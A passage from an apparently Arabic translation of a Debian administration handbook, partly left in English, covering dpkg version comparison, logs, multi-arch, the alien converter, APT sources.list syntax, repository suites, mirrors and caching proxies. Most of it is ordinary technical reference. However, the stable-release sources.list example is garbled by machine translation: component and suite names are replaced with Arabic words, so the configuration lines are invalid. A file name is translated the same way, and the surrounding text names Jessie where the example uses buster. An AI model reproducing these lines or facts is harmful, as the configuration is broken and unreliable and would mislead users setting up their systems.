لاحظ كيف أعطى أن المقارنة الأخيرة خاطئة على عكس ما هو متوقع: كلمة pre، التي تعني عادة pre-release (إصدار أولي)، لا تعني شيئاً من وجهة نظر dpkg، ويقارن هذا البرنامج بين الحروف الأبجدية تماماً كما يقارن بين الأرقام (a < b < c ...‎)، حسب ترتيبها الهجائي. لذلك فإنه يعتبر ”0pre3“ أكبر من ”0“. عندما نريد أن يُعبِّر رقم إصدار الحزمة على أنها إصدار أولي، نستخدم محرف التيلدا ”~“:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. سجلات dpkg

يحتفظ dpkg بسجل يحفظ جميع أعماله في ‎‎/var/log/dpkg.log. هذا السجل طويل جداً، لأنه يُفصّل كل مرحلة من المراحل التي تمر بها الحزم التي يعالجها dpkg. بالإضافة إلى إمكانية تتبع سلوك dpkg عبر هذه السجلات، يمكنها أن تساعد – قبل كل شيء – في متابعة تاريخ تطور النظام: حيث يمكن العثور على اللحظات الدقيقة التي تم فيها تثبيت أو تحديث كل حزمة، ويمكن أن تكون فائدة هذه المعلومات عظيمة لفهم التغيرات الحديثة في سلوك النظام. كما تُسجَّل جميع أرقام الإصدارات، وبالتالي يسهل مقارنة المعلومات مع ملف changelog.Debian.gz للحزمة المطلوبة، أو حتى مع تقارير العلل على الإنترنت.

5.4.5. دعم تعدد المعماريات

تحوي جميع حزم دبيان حقل Architecture في معلومات التحكم. إما أن يحوي هذا الحقل القيمة ”all“ (للحزم المستقلة عن معمارية النظام) أو اسم المعمارية التي تستهدفها (مثل ”amd64“، أو ”armhf“، …). في الحالة الثانية، يقبل dpkg – افتراضياً – تثبيت الحزم ذات المعمارية التي تطابق معمارية النظام التي يمكن الحصول عليها باستدعاء الأمر dpkg --print-architecture.

يضمن هذا القيد أن لا ينتهي الحال بالمستخدمين مع ملفات ثنائية مترجمة لمعمارية خاطئة. كان كل شيء مثالياً لولا أن (بعض) الحواسيب تستطيع تشغيل ملفات ثنائية لأكثر من معمارية، سواء بشكل مباشر (نظام بمعمارية ”amd64“ يستطيع تشغيل ملفات ”i386“ الثنائية) أو عبر محاكيات.

5.4.5.1. تفعيل تعدد المعماريات

يسمح تعدد المعماريات في dpkg للمستخدمين بتعريف ”معماريات أجنبية“ يمكن تثبيت ملفاتها الثنائية على النظام. يتم هذا بسهولة عبر الأمر dpkg --add-architecture كما في المثال التالي. هناك أمر مقابل لإسقاط دعم معمارية أجنبية هو dpkg --remove-architecture، لكن لا يمكن استخدامه إلا عندما لا تبقى أي حزمة من حزم تلك المعمارية على النظام.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-8-base_8.3.0-6_armhf.deb dpkg: error processing archive gcc-8-base_8.3.0-6_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-8-base_8.3.0-6_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-8-base_8.3.0-6_armhf.deb (Reading database ... 14319 files and directories currently installed.) Preparing to unpack gcc-8-base_8.3.0-6_armhf.deb ... Unpacking gcc-8-base:armhf (8.3.0-6) ... Setting up gcc-8-base:armhf (8.3.0-6) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

ملاحظة دعم تعدد المعماريات في APT

APT will automatically detect when dpkg has been configured to support foreign architectures and will start downloading the corresponding Packages files during its update process.

يمكن بعدها تثبيت الحزم الأجنبية باستخدام apt install package:architecture.

ممارسة عملية استخدام ملفات i386 الثنائية على amd64

There are multiple use cases for multi-arch, but the most popular ones are the possibility to execute (sometimes proprietary) 32 bit binaries (i386) on 64 bit systems (amd64), and the possibility to cross-compile software for a platform or an architecture different from the host one.

5.4.5.2. التعديلات المتعلقة بتعدد المعماريات

To make multi-arch actually useful and usable, libraries had to be repackaged and moved to an architecture-specific directory so that multiple copies (targeting different architectures) can be installed alongside. Such updated packages contain the “Multi-Arch: same” header field to tell the packaging system that the various architectures of the package can be safely co-installed (and that those packages can only satisfy dependencies of packages of the same architecture). The most important libraries have been converted since the introduction of multi-arch in Debian 7 Wheezy, but there are many libraries that will likely never be converted unless someone specifically requests it (through a bug report for example).

$ dpkg -s gcc-8-base dpkg-query: error: --status needs a valid package name but 'gcc-8-base' is not: ambiguous package name 'gcc-8-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-8-base:amd64 gcc-8-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-8-base/copyright gcc-8-base:amd64, gcc-8-base:armhf: /usr/share/doc/gcc-8-base/copyright

يجدر بالملاحظة أن أسماء حزم Multi-Arch: same يجب أن توسم بمعماريتها حتى يتم التعرف عليها دون التباس. كما يمكن لها أن تشترك بالملفات مع النسخ الأخرى من الحزمة نفسها؛ يضمن dpkg أن جميع الملفات المشتركة بين الحزم متطابقة بت مع بت. وأخيراً وليس آخراً، يجب أن يكون إصدار جميع نسخ الحزمة متطابقاً. أي يجب تحديث جميع النسخ معاً.

كما يُسبِّب تعدد المعماريات أيضاً بعض التحدّيات الملفتة في مجال إدارة الاعتماديات. لتلبية اعتمادية يجب تثبيت الحزمة عليها علامة ”Multi-Arch: foreign“ أو حزمة تطابق معماريتها معمارية الحزمة التي تصرح عن الاعتمادية (في عملية حل الاعتماديات هذه، تعتبر معمارية الحزم المستقلة عن المعماريات مطابقة لمعمارية النظام). يمكن أيضاً تضعيف الاعتمادية للسماح لأي معمارية بتلبيتها، باستخدام الصيغة package:any، لكن لا تستطيع الحزم الأجنبية تلبية هذه الاعتمادية إلا إذا كانت تحوي علامة ”Multi-Arch: allowed“.

5.5. التعايش مع نظم التحزيم الأخرى

حزم دبيان ليست الحزم البرمجية الوحيدة المستخدمة في عالم البرمجيات الحرة. المنافس الرئيسي هي صيغة RPM الخاصة بتوزيعة Red Hat Linux ومشتقاتها العديدة. ريدهات توزيعة تجارية شهيرة جداً، ولذلك من الشائع توفير البرمجيات التي تزودها أطراف خارجية بشكل حزم RPM بدلاً من حزم دبيان.

في هذه الحالة، عليك أن تعرف أن البرنامج rpm، الذي يعالج حزم RPM، متوفر بشكل حزمة دبيان، لذلك يمكن استخدام صيغة الحزم هذه في دبيان. لكن يجب أخذ الحيطة على أي حال، وحصر استخدام هذه الأداة في استخراج المعلومات من الحزمة أو التحقق من سلامتها فقط. في الحقيقة، ليس من المنطق استخدام rpm لتثبيت حزمة RPM على نظام دبيان؛ لأن RPM يستخدم قاعدة بيانات خاصة، منفصلة عن قاعدة بيانات برمجيات دبيان الأصلية (مثل dpkg). ولذلك لا يمكن ضمان تعايش نظامي التحزيم معاً بشكل مستقر.

على صعيد آخر، تستطيع الأداة alien تحويل حزم RPM إلى حزم دبيان، والعكس.

مجتمع تشجيع تبني صيغة ‎.deb

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Buster.

$ fakeroot alien --to-deb phpMyAdmin-4.7.5-2.fc28.noarch.rpm phpmyadmin_4.7.5-3_all.deb generated $ ls -s phpmyadmin_4.7.5-3_all.deb 4356 phpmyadmin_4.7.5-3_all.deb

ستجد أن هذه العملية فائقة البساطة. لكن عليك أن تدرك أن الحزمة الناتجة لا تحوي أي معلومات عن الاعتماديات، لعدم وجود تقابل منهجي بين الاعتماديات في هاتين الصيغتين. على مدير النظام إذن أن يضمن يدوياً أن الحزمة المحوّلة ستعمل بشكل صحيح، ولذلك يجب تفادي حزم دبيان المولدة بهذه الطريقة قدر المستطاع. لحسن الحظ، تتمتع دبيان بأكبر مجموعة من الحزم البرمجية من بين كل التوزيعات، والغالب أن ما تبحث عنه – مهما كان – موجود هناك.

بالاطلاع على صفحة الدليل الخاصة بالأمر alien، ستلاحظ أيضاً أن هذا البرنامج يعالج صيغ تحزيم أخرى، خاصة الصيغة التي تعتمدها توزيعة سلاكوير (وهي أرشيفات tar.gz بسيطة).

إن استقرار البرمجيات التي تثبتها الأداة dpkg يسهم في شعبية دبيان. ومجموعة أدوات APT، التي سنشرحها في الفصل التالي، تحفظ هذه الميزة، وتعفي مدير النظام من إدارة حالة الحزم، وهي مهمة لازمة لكنها شاقة.

فصل 6. الصيانة والتحديث: أدوات APT

ما يجعل دبيان شهيرة جداً بين مديري النظم هو سهولة تثبيت البرمجيات وسهولة تحديث النظام بالكامل. يعود الفضل الأكبر في هذه الميزة الفريدة للبرنامج APT (Advanced Package Tool)، الذي بحث فيه مديرو النظم في شركة فلكوت بتمعن.

APT (Advanced Package Tool) هو اختصار لأداة الحزمة المتقدمة. ما يجعل هذا البرنامج "متقدمًا" هو نهجه في الحزم. لا يقوم بتقييمها بشكل فردي، ولكنه يعتبرها ككل وتنتج أفضل مجموعة ممكنة من الحزم اعتماداً على ما هو متاح ومتوافق وفقاً للتبعيات.

مصطلحات مصدر الحزم والحزم المصدرية

يجب ألا تخلط بين الحزمة المصدرية —الحزمة التي تحوي مصدر البرنامج— وبين مصدر الحزم وهو المستودع (قد يكون موقع إنترنت، أو مخدم FTP، أو قرص ليزري، أو مجلد محلي، الخ) الذي يحوي الحزم.

يجب أن تُعطى APT "قائمة بمصادر الحزمة (المستودعات)": الملف /etc/apt/sources.list سوف يدرج المستودعات المختلفة التي تنشر حزم دبيان. ثم تستورد APT قائمة الطرود التي ينشرها كل من هذه المصادر. يتم تحقيق هذه العملية عن طريق تحميل ملفات Packages.xz أو متغير مثل حزم.gz أو . bz2 (باستخدام أسلوب ضغط مختلف) في حالة وجود مصدر للحزم الثنائية وبتحليل محتوياتها. في حالة مصدر الحزم المصدر، APT التنزيلات Sources.xz الملفات أو متغير باستخدام أسلوب ضغط مختلفة. عندما تكون نسخة قديمة من هذه الملفات موجودة بالفعل ، يمكن لـ APT تحديثها عن طريق تنزيل الاختلافات فقط (انظر الشريط الجانبي TIP Incremental updates).

أساسيات الضغط باستخدام gzip، ‏ bzip2، ‏LZMA‏ وXZ

يشير الامتداد .gz إلى ملف مضغوط باستخدام الأداة gzip. الأداة gzip أداة تقليدية في يونكس سريعة وفعالة لضغط الملفات. توفر الأدوات الأحدث مستويات ضغط أعلى لكنها تتطلب موارد أكثر (زمن معالجة وذاكرة) لضغط أو فك ضغط الملفات. نذكر من بينها، وبحسب ترتيب ظهورها، bzip2 (تولد ملفات بامتداد .bz2)، وlzma (تولد ملفات .lzma)، وxz (تولد ملفات .xz).

6.1. تعبئة الملف sources.list

6.1.1. صيغة الملف

يمثل كل سطر نشط في الملف /etc/apt/sources.list مصدر حُزْمَة (مستودع) ويتكون من ثلاث أجزاء على الأقل مفصولة بمسافات. للحصول على وصف كامل لتنسيق الملف وتركيبات الإدخال المقبولة ، راجع sources.list ( 5 ).

مثال 6.1. Example entry format in /etc/apt/sources.list

deb url distribution component1 component2 component3 [..] componentX deb-src url distribution component1 component2 component3 [..] componentX

يبين الحقل الأول نوع المصدر:

deb

مصدر الحزمة (المستودع) من الحزم الثنائية

deb-src

مصدر الحزمة (المستودع) من حزم المصدر

The second field gives the base URL of the source. Combined with the filenames listed in the Packages.xz files, it must give a full and valid URL. This can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file:// to indicate a local source installed in the system's file hierarchy, with http:// or https:// to indicate a source accessible from a web server, or with ftp:// or ftps:// for a source available on an FTP server. The URL can also start with cdrom: for CD-ROM/DVD/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are eventually more common.

The syntax of the last field depends on the structure of the repository. In the simplest case, you can simply indicate a subdirectory (with a required trailing slash) of the desired source. This is often a simple “./” which refers to the absence of a subdirectory. The packages are then directly at the specified URL. But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions, each having multiple components. In those cases, name the chosen distribution by its “codename” — see the list in sidebar مجتمع بروس بيرنز، قائد مثير للجدل — or by the corresponding “suite” (oldstable, stable, testing, unstable) and then the components to enable. A typical Debian mirror provides the components main, contrib, and non-free.

مصطلحات الأقسام main، ‏contrib وnon-free

يستخدم دبيان ثلاثة مكونات للتمييز بين الحزم وفقاً للتراخيص التي يختارها مؤلفو كل عمل. الرئيسي يجمع كل الحزم التي تتوافق تماما مع دبيان البرمجيات الحرة المبادئ التوجيهية.

يختلف المكون غير الحر لأنه يحتوي على برامج لا تتوافق (تمامًا) مع هذه المبادئ ولكنها، مع ذلك، يمكن توزيعها دون قيود. هذا الأرشيف، الذي ليس رسميًا جزءًا من دبيان، هو خدمة للمستخدمين الذين قد يحتاجون إلى بعض هذه البرامج، وفي الوقت الحاضر، يحتاجون أيضًا إلى البرامج الثابتة لأجهزتهم. ومع ذلك، توصي دبيان دائمًا بإعطاء الأولوية للبرمجيات الحرة. يمثل وجود هذا المكون مشكلة كبيرة لريتشارد إم ستولمان ويمنع مؤسسة البرمجيات الحرة من تزكية دبيان للمستخدمين.

المساهمات (المساهمات) هي مجموعة من البرامج مفتوحة المصدر التي لا يمكن أن تعمل بدون بعض العناصر غير الحرة - يمكن أن تكون هذه العناصر برامج من القسم غير الحر ، أو ملفات غير حرة مثل ذاكرة القراءة فقط للألعاب، BIOS لوحدات التحكم، إلخ - أو بعض العناصر، غير متوفرة من أرشيف دبيان الرئيسي على الإطلاق. يشتمل المكون مساهمة أيضًا على البرمجيات الحرة التي يتطلب تجميعها عناصر خاصة. كان هذا هو الحال في البداية بالنسبة لمجموعة Office OpenOffice.org، التي كانت تتطلب بيئة Java خاصة.

ملحوظة ملفات في /etc/apt/sources.list.d/

في حال الإشارة للكثير من مصادر الحزم، فقد يكون فصلها إلى عدة ملفات مفيداً. يُخزَّن كل جزء عندها في /etc/apt/sources.list.d/filename.list (انظر الملاحظة الجانبية أساسيات المجلدات التي تنتهي باللاحقة .d).

تصف مدخلات cdrom أقراص CD أو DVD. أقراص CD-ROM غير متوفرة دوماً بخلاف المدخلات الأخرى، لأنه يجب وضعها في السواقة التي لا تستطيع سوى قراءة قرص واحد في كل مرة. لهذا السبب، تدار هذه المصادر بطريقة مختلفة قليلاً، ويجب إضافتها باستخدام البرنامج apt-cdrom، باستخدام البارامتر add عادة. عندها سيطلب البرنامج إدخال القرص في السواقة ويتصفح محتوياته بحثاً عن ملفات Packages. ثم يستخدم هذه الملفات لتحديث قاعدة بيانات الحزم المتوفرة التي يديرها (تنفذ هذه العملية عادة بالأمر apt update). بعد ذلك، تستطيع APT أن تطلب إدخال القرص إذا احتاجت إحدى الحزم المخزنة عليه.

6.1.2. مستودعات مستخدمي دبيان المستقرة

هذا ملف sources.list قياسي لنظام يعمل بالنسخة المستقرة من دبيان:

مثال 6.2. ملف /etc/apt/sources.list لمستخدمي دبيان المستقرة

# تحديثات الأمان deb http://security.debian.org/ buster / التحديثات الرئيسية contrib غير خالية deb-src http://security.debian.org/ buster/ التحديثات الرئيسية contrib غير خالية ## مرآة دبيان # مستودع قاعدة deb https://deb.debian.org/debian buster الرئيسي contrib غير الحرة deb-src https://deb.debian.org/debian buster الرئيسي contrib غير خالية # تحديثات مستقرة deb https://deb.debian.org/debian buster-التحديثات الرئيسية contrib غير خالية deb-src https://deb.debian.org/debian buster-updates الرئيسية contrib غير الحرة # المنافذ الخلفية مستقرة deb https://deb.debian.org/debian buster-backports الرئيسية contrib غير الحرة deb-src https://deb.debian.org/debian buster-backports الرئيسية contrib غير الحرة

هذا الملف يسرد جميع مصادر حزم النسخة جيسي من دبيان (المستقرة الحالية في زمن هذا الكتاب). لقد فضلنا تسمية ”جيسي“ صراحة بدلاً من استخدام ”stable“ ‏(stable، ‏stable-updates، ‏stable-backports) لأننا لا نريد أن تحدث تغييرات خارجة عن سيطرتنا في التوزيعة عندما تصدر النسخة المستقرة التالية.

تتوفر معظم الحزم عبر ”المستودع الأساسي“ الذي يحوي جميع الحزم لكنه نادراً ما يتم تحديثه (يُحَدَّث هذا المستودع مرة كل شهرين تقريباً عند كل ”إصدار ثانوي point release“). أما المستودعات الأخرى فهي جزئية (لا تحوي جميع الحزم) ويمكن أن تحوي تحديثات (حزم ذات إصدارات أحدث) يمكن أن تنزلها APT. تشرح الأقسام التالية الغرض من كل واحد من هذه المستودعات والقواعد التي تحكمه.

لاحظ أنه عند توفر الحزمة المرغوبة في عدة مستودعات، سيستخدم المستودع الأول حسب ترتيبها في ملف sources.list. لذلك تضاف المصادر غير الرسمية عادة إلى نهاية الملف.

كملاحظة جانبية، معظم ما يذكر في هذه الأقسام عن النسخة المستقرة ينطبق أيضاً على المستقرة القديمة بما أن الأخيرة ليست إلا نسخة مستقرة سابقة لا تزال صيانتها جارية على التوازي مع الحالية.

6.1.2.1. التحديثات الأمنية

Debian takes security seriously. Known software vulnerabilities in Debian are tracked in the Security Bug Tracker and usually get fixed in a reasonable timeframe. The security updates are not hosted on the usual network of Debian mirrors but on security.debian.org, a small set of machines maintained by the Debian System Administrators. This archive contains security updates prepared by the Debian Security Team and/or by package maintainers for the Stable and Oldstable distribution.

The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach the Testing suite via the regular flow of updates coming from Unstable.

For serious issues, the security team issues a Debian Security Advisory (DSA) and announces it together with the security update on the <debian-security-announce@lists.debian.org> mailing list (archive).

6.1.2.2. التحديثات المستقرة

التحديثات المستقرة ليست حساسة من الناحية الأمنية لكنها تعتبر هامة بما يكفي لدفعها إلى المستخدمين قبل إطلاق الإصدار الثانوي التالي.

This repository will typically contain fixes for critical and serious bugs which could not be fixed before release or which have been introduced by subsequent updates. Depending on the urgency, it can also contain updates for packages that have to evolve over time, like spamassassin's spam detection rules, clamav's virus database, the daylight-saving time rules of all timezones (tzdata), the ESR version of Firefox (firefox-esr) or cryptographic keyrings like debian-archive-keyring.

In practice, this repository is a subset of the proposed-updates repository, carefully selected by the Stable Release Managers. All updates are announced on the <debian-stable-announce@lists.debian.org> mailing list (archive) and will be included in the next Stable point release anyway.

deb https://deb.debian.org/debian buster-updates main contrib non-free

6.1.2.3. التحديثات المقترحة

بعد إصدار التوزيعة المستقرة، لا يتم تحديثها إلا مرة واحدة كل شهرين تقريباً. المستودع proposed-updates هو المكان الذي يتم فيه تحضير التحديثات المنتظرة (تحت إشراف مديري الإصدارة المستقرة).

التحديثات المستقرة والأمنية التي تحدثنا عنها في القسمين السابقين متوفرة دائماً في هذا المستودع، لكن هناك تحديثات إضافية أيضاً، لأنه يمكن لمشرفي الحزم أيضاً إصلاح العلل المهمة لكنها لا تستحق الإصدار فوراً.

Anyone can use this repository to test those updates before their official publication. The extract below uses the buster-proposed-updates alias which is both more explicit and more consistent since stretch-proposed-updates also exists (for the Oldstable updates):

deb https://deb.debian.org/debian buster-proposed-updates main contrib non-free

6.1.2.4. المنقولات الخلفية للنسخة المستقرة

يستضيف المستودع stable-backports ”الحزم المنقولة خلفاً package backports“. يشير هذا المصطلح إلى حزم لبرمجيات حديثة أعيدت ترجمتها لتوزيعة قديمة (نقلت إلى الخلف)، وعادة ما يكون النقل إلى التوزيعة المستقرة.

When the distribution becomes a little dated, numerous software projects have released new versions that are not integrated into the current Stable suite, which is only modified to address the most critical problems, such as security issues. Since the Testing and Unstable suites can be more risky, package maintainers sometimes voluntarily offer recompilations of recent software applications for Stable, which has the advantage to users and system administrators to limit potential instability to a small number of chosen packages. The page https://backports.debian.org provides more information.

Backports from stable-backports are only created from packages available in Testing. This ensures that all installed backports will be upgradable to the corresponding stable version once the next stable release of Debian is available.

Even though this repository provides newer versions of packages, APT will not install them unless you give explicit instructions to do so (or unless you have already done so with a former version of the given backport):

$ sudo apt-get install package/buster-backports $ sudo apt-get install -t buster-backports package

6.1.3. مستودعات مستخدمي الاختبارية أو غير المستقرة

فيما يلي ملف sources.list قياسي لنظام يعمل بالنسخة الاختبارية أو غير المستقرة من دبيان:

مثال 6.3. ملف /etc/apt/sources.list لمستخدمي دبيان الاختبارية/غير المستقرة

# Unstable deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Testing deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Testing security updates deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Stable deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Stable security updates deb http://security.debian.org/ stable/updates main contrib non-free deb-src http://security.debian.org/ stable/updates main contrib non-free

NOTE Layout of security repositories

Starting with Debian 11 Bullseye, the codename of the repository providing security updates has been renamed from codename/updates into codename-security to avoid the confusion with codename-updates (see قسم 6.1.2.2, “التحديثات المستقرة”).

With this sources.list file APT will install packages from the Unstable suite. If that is not desired, use the APT::Default-Release setting (see قسم 6.2.3, “تحديث النظام”) to instruct APT to pick packages from another suite (most likely Testing in this case).

هناك أسباب وجيهة لإضافة كل هذه المستودعات، رغم أن مستودعاً واحداً منها يكفي. سيستفيد مستخدمو الاختبارية من إمكانية التقاط حزمة من غير المستقرة بعد إصلاح علة مزعجة كانت تعاني منها النسخة المتوفرة في الاختبارية. من جهة أخرى، يستطيع مستخدمو التوزيعة غير المستقرة إذا واجهتهم تدهورات غير متوقعة تخفيض إصدارات حزمهم (downgrade) إلى نسخ التوزيعة الاختبارية (التي يفترض أنها تعمل).

The inclusion of Stable is more debatable but it often gives access to some packages, which have been removed from the development versions. It also ensures that you get the latest updates for packages, which have not been modified since the last stable release.

6.1.3.1. المستودع Experimental

يتوفر أرشيف حزم التوزيعة التجريبية Experimental على جميع مرايا دبيان، ويحوي حزماً غير موجودة في النسخة غير المستقرة بعد بسبب نوعيتها دون المعيارية — فهي غالباً نسخ تطويرية من البرمجيات أو إصدارات أولية (ألفا، بيتا، مرشح للإصدار rc = release candidate…). يمكن إرسال الحزمة إلى هناك أيضاً بعد إجراء تغييرات عليها يمكن أن تؤدي إلى مشاكل. يحاول المشرف بعدها استرجاعها بمساعدة المستخدمين المتقدمين القادرين على معالجة المشاكل الخطيرة. بعد هذه المرحلة الأولى، تُنقَل الحزمة إلى النسخة غير المستقرة، حيث تلقى جمهوراً أوسع بكثير ويتم فحصها بتدقيق أكبر بكثير.

يستخدم النسخة التجريبية عادة المستخدمون الذي لا يهتمون إذا تعطل نظامهم واضطروا لإصلاحه ثانية. تعطي هذه التوزيعة إمكانية استيراد حزمة يريد المستخدم تجربتها أو استخدامها عند الحاجة. تستخدم دبيان هذا المستودع بهذه الطريقة بالضبط، إذ أن إضافته إلى ملف sources.list لا تؤدي إلى استخدام حزمها آلياً. السطر الذي تجب إضافته هو:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Using Alternate Mirrors

The sources.list examples in this chapter refer to package repositories hosted on deb.debian.org. Those URLs will redirect you to servers which are close to you and which are managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of the files across the world, and to deliver them as fast as possible to users. The CDN companies that Debian is working with are Debian partners who are offering their services freely to Debian. While none of those servers are under direct control of Debian, the fact that the whole archive is sealed by GPG signatures makes it a non-issue.

Picky users who are not satisfied with the performance of deb.debian.org can try to find a better mirror in the official mirror list:

→ https://www.debian.org/mirror/list

But when you don't know which mirror is best for you, this list is of not much use. Fortunately for you, Debian maintains DNS entries of the form ftp.country-code.debian.org (e.g. ftp.us.debian.org for the USA, ftp.fr.debian.org for France, etc.) which are covering many countries and which are pointing to one (or more) of the best mirrors available within that country.

As an alternative to deb.debian.org, there used to be httpredir.debian.org. This service would identify a mirror close to you (among the list of official mirrors, using GeoIP mainly) and would redirect APT's requests to that mirror. This service has been deprecated due to reliability concerns and now httpredir.debian.org provides the same CDN-based service as deb.debian.org.

6.1.5. مصادر غير رسمية: mentors.debian.net

There are numerous non-official sources of Debian packages set up by advanced users who have recompiled some software — Ubuntu made this popular with their Personal Package Archive (PPA) service — by programmers who make their creation available to all, and even by Debian developers who offer pre-versions of their package online.

The mentors.debian.net site is interesting (although it only provides source packages), since it gathers packages created by candidates to the status of official Debian developer or by volunteers who wish to create Debian packages without going through that process of integration. These packages are made available without any guarantee regarding their quality; make sure that you check their origin and integrity and then test them before you consider using them in production.

مجتمع مواقع debian.net

إن النطاق debian.net ليس مصدراً رسمياً لمشروع دبيان. يمكن لأي مطور دبيان استخدام اسم النطاق ذاك لأغراضه الخاصة. قد تحوي هذه المواقع خدمات غير رسمية (وأحياناً مواقع شخصية) يستضيفها جهاز أعده مطورو دبيان لكنه لا ينتمي للمشروع، أو ربما نماذج أولية على وشك نقلها إلى debian.org. يوجد سببين لتفسير بقاء بعض النماذج الأولية على debian.net: إما إنّ أحدهم لم يبذل الجهد اللازم لتحويلها إلى خدمة رسمية (مستضافة على debian.org، ولها ضمانات معينة من ناحية الدعم)، أو أن الخدمة محل خلاف يحول دون أن تصبح رسمية.

إن تثبيت حزمة ما يعني منح صلاحيات الجذر لصانعها، لأنه من يقرر محتويات سكربتات التهيئة التي تعمل بتلك الصلاحيات. حزم دبيان الرسمية يصنعها متطوعون عملنا معهم واختبرناهم ولديهم إمكانية ختم حزمهم بحيث يمكن التحقق من مصدرها وسلامتها.

In general, be wary of a package whose origin you don't know and which isn't hosted on one of the official Debian servers: evaluate the degree to which you can trust the creator, and check the integrity of the package.

التعمق أكثر إصدارات الحزم القديمة: snapshot.debian.org

The snapshot.debian.org service, introduced in April 2010, can be used to “go backwards in time” and to find an old version of a package not longer contained in the Debian archives. It can be used, for example, to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix.

6.1.6. بروكسيات التخبئة لحزم دبيان

عند إعداد شبكة كاملة من الأجهزة لاستخدام المخدم البعيد نفسه لتنزيل نفس الحزم المُحَدَّثة، يدرك أي مدير نظم أنه سيستفيد من استخدام بروكسي وسيط يعمل كمخبأ (كاش) للشبكة المحلية (انظر الملاحظة الجانبية مصطلحات المخبأ (Cache)).

يمكنك إعداد APT لاستخدام بروكسي ”معياري“ (انظر قسم 6.2.4, “خيارات الإعداد” لإعداد APT، وقسم 11.6, “بروكسي HTTP/FTP” لإعداد البروكسي)، لكن بيئة دبيان تقدم خيارات أفضل لمعالجة هذه المشكلة. البرمجيات المتخصصة المذكورة في هذا القسم أذكى من بروكسيات التخبئة (Cache Proxies) العادية لأنها تستطيع الاعتماد على البنية الخاصة لمستودعات APT (مثلاً تعرف هذه البرمجيات إذا انتهت صلاحية الملف أم لا، وبالتالي تستطيع ضبط فترة الاحتفاظ به).

يعمل apt-cacher وapt-cacher-ng مثل مخدمات التخبئة الوسيطة العادية. حيث يبقى الملف sources.list دون تعديل، لكن تُضبَطُ APT حتى تَستَخدِم أحد البرنامجين كبروكسي للطلبات الخارجية.

من ناحية أخرى، يعمل approx كمخدم HTTP ينسخ (أو يعكس ”mirror“) أي عدد من المستودعات البعيدة إلى عناوين URL من المستوى الأول خاصة به. تخزن العلاقات بين هذه المجلدات ذات المستوى الأول والعناوين البعيدة للمستودعات في /etc/approx/approx.conf:

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org

approx runs by default on port 9999 via a systemd socket and requires the users to adjust their sources.list file to point to the approx server:

# Sample sources.list pointing to a local approx server deb http://localhost:9999/security buster/updates main contrib non-free deb http://localhost:9999/debian buster main contrib non-free

6.2. ‏aptitude، وapt-get، وapt

APT is a vast project, whose original plans included a graphical interface. It is based on a library which contains the core application, and apt-get is the first front end — command-line based — which was developed within the project. apt is a second command-line based front end provided by APT which overcomes some design mistakes of apt-get.

Both tools are built on top of the same library and are thus very close, but the default behavior of apt has been improved for interactive use and to actually do what most users expect. The APT developers reserve the right to change the public interface of this tool to further improve it. On the opposite, the public interface of apt-get is well defined and will not change in any backwards incompatible way. It is thus the tool that you want to use when you need to script package installation requests.

Numerous other graphical interfaces then appeared as external projects: synaptic, aptitude (which includes both a text mode interface and a graphical one — even if not complete yet), wajig, etc. The most recommended interface, apt, is the one that we will use in the examples given in this section. Note, however, that apt-get and aptitude have a very similar command line syntax. When there are major differences between these three commands, these will be detailed.

6.2.1. التهيئة

For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection and configuration, the operation can take a while, since it involves downloading a certain number of (usually compressed) files (Packages, Sources, Translation-language-code), which have gradually become bigger and bigger as Debian has developed (at least 10 MB of data for the main section). Of course, installing from a CD-ROM/DVD set does not require any downloading — in this case, the operation is very fast.

TIP Incremental updates

The aim of the apt update command is to download for each package source the corresponding Packages (or Sources) file. However, even after a xz compression, these files can remain rather large (the Packages.xz for the main section of Buster takes more than 7 MB). If you wish to update regularly, these downloads can take up a lot of time.

To speed up the process APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the Packages file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For Stable and Testing, which change less, the gain is even more noticeable.

However, it can sometimes be of interest to force the download of the entire Packages file, especially when the last upgrade is very old and when the mechanism of incremental differences would not contribute much. This can also be interesting when network access is very fast but when the processor of the machine to upgrade is rather slow, since the time saved on the download is more than lost when the computer calculates the new versions of these files (starting with the older versions and applying the downloaded differences). To do that, you can use the APT configuration parameter Acquire::PDiffs and set it to false.

$ sudo apt -o "Acquire::PDiffs=false" update

The Acquire::* options also control other aspects of the download, and even the download methods. Acquire::Languages can limit or disable the download of Translation-language-code files and save even more time. For a complete reference see apt.conf(5).

6.2.2. التثبيت والإزالة

